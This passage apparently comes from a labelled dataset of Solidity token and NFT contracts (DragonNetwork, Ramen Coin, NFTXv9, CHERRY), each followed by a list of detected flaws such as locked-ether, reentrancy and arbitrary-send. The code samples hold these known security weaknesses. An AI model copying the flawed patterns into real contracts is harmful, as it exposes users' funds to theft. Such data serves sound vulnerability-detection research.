function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DragonNetwork is ERC20Detailed ,Owned {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "Dragon Network";
string constant tokenSymbol = "DGNN";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000000000000000000000;
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(0xe5748Dd7490b3Db2f6617A7aBF7f552045b01049, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findEightPercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 EightPercent = roundValue.mul(basePercent).div(1250);
return EightPercent;
}
function isSupplyLessThan20Thousand() public view returns(bool){
uint256 twentyThousand = 100000000000000000000000;
if(_totalSupply <= twentyThousand){
return true;
}
return false;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
if(isSupplyLessThan20Thousand()){
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
else
{
uint256 tokensToBurn = findEightPercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
if(isSupplyLessThan20Thousand()){
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
else
{
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findEightPercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Ramen Coin' contract
// Mineable ERC20 Token using Proof Of Work
//
// Symbol : RAMEN
// Name : Ramen Coin
// Total supply: 100,000,000.00
// Decimals : 8
// Official Website: https://ramencoin.me
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract _RamenCoin is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;//number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 1024;
//a little number
uint public _MINIMUM_TARGET = 2**16;
//a big number is easier ; just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function _RamenCoin() public onlyOwner{
symbol = "RAMEN";
name = "Ramen Coin";
decimals = 8;
_totalSupply = 100000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
//The owner gets nothing! You must mine this ERC20 token
//balances[owner] = _totalSupply;
//Transfer(address(0), owner, _totalSupply);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
//the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
//if max supply for the era will be exceeded next reward round then enter the new era before that happens
//40 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
//set the next minted supply at which the era will change
// total supply is 10000000000000000 because of 8 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1));
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks
//do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
//https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F
//as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days
//readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
//we want miners to spend 10 minutes to mine each 'block', about 60 ethereum blocks = one Ramen Coin epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256
uint targetEthBlocksPerDiffPeriod = epochsMined * 60; //should be 60 times slower than ethereum
//if there were less eth blocks passed in time than expected
if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod )
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod );
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
// If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100.
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod );
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
//100m coins total
//reward begins at 50 and is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint) {
//once we get half way thru the coins, only get 25 per block
//every reward era, the reward amount halves.
return (50 * 10**uint(decimals) ).div( 2**rewardEra ) ;
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.8;
import "./NFTXv8.sol";
interface KittyCore {
function transfer(address _to, uint256 _tokenId) external;
}
contract NFTXv9 is NFTXv8 {
function _redeemHelper(
uint256 vaultId,
uint256[] memory nftIds,
bool isDualOp
) internal virtual override {
store.xToken(vaultId).burnFrom(msg.sender, nftIds.length.mul(10**18));
for (uint256 i = 0; i < nftIds.length; i = i.add(1)) {
uint256 nftId = nftIds[i];
require(store.holdingsContains(vaultId, nftId), "1");
if (store.holdingsContains(vaultId, nftId)) {
store.holdingsRemove(vaultId, nftId);
}
if (store.flipEligOnRedeem(vaultId)) {
bool isElig = store.isEligible(vaultId, nftId);
store.setIsEligible(vaultId, nftId, !isElig);
}
if (isVault1155[vaultId]) {
IERC1155 nft = IERC1155(store.nftAddress(vaultId));
nft.safeTransferFrom(address(this), msg.sender, nftId, 1, "");
} else if (vaultId > 6 && vaultId < 10) {
KittyCore kittyCore = KittyCore(store.nftAddress(vaultId));
kittyCore.transfer(msg.sender, nftId);
} else {
store.nft(vaultId).safeTransferFrom(
address(this),
msg.sender,
nftId
);
}
}
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) divide-before-multiply with Medium impact
3) reentrancy-no-eth with Medium impact
4) name-reused with High impact
5) arbitrary-send with High impact
6) unchecked-transfer with High impact
7) erc20-interface with Medium impact
8) uninitialized-local with Medium impact
9) reentrancy-eth with High impact
10) weak-prng with High impact
11) unused-return with Medium impact |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.7;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract CHERRY is ERC20, Ownable {
/* Token Tax */
uint16 public _taxTotal = 900; // 9% tax
uint32 public _taxPercision = 10000;
bool public _taxActive = true;
mapping(string => mapping(address => bool)) public _whitelists;
/* Events */
event UpdateTaxPercentage(uint16 _newTaxAmount);
event RemoveFromWhitelist(string list, address indexed wallet);
event AddToWhitelist(string list, address indexed wallet);
event ToggleTax(bool _active);
uint256 private _totalSupply;
constructor() ERC20('CHERRY', 'CHERRY') payable {
_totalSupply = 60000000000000000000000000000;
addToWhitelist('from', address(this));
addToWhitelist('to', address(this));
addToWhitelist('from', msg.sender);
_mint(msg.sender, _totalSupply);
}
/**
* @notice overrides ERC20 transferFrom function to add tax
* @param from address amount is coming from
* @param to address amount is going to
* @param amount amount being sent
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if(_taxActive && !_whitelists['from'][from] && !_whitelists['to'][to]) {
uint256 tax = amount *_taxTotal / _taxPercision;
amount = amount - tax;
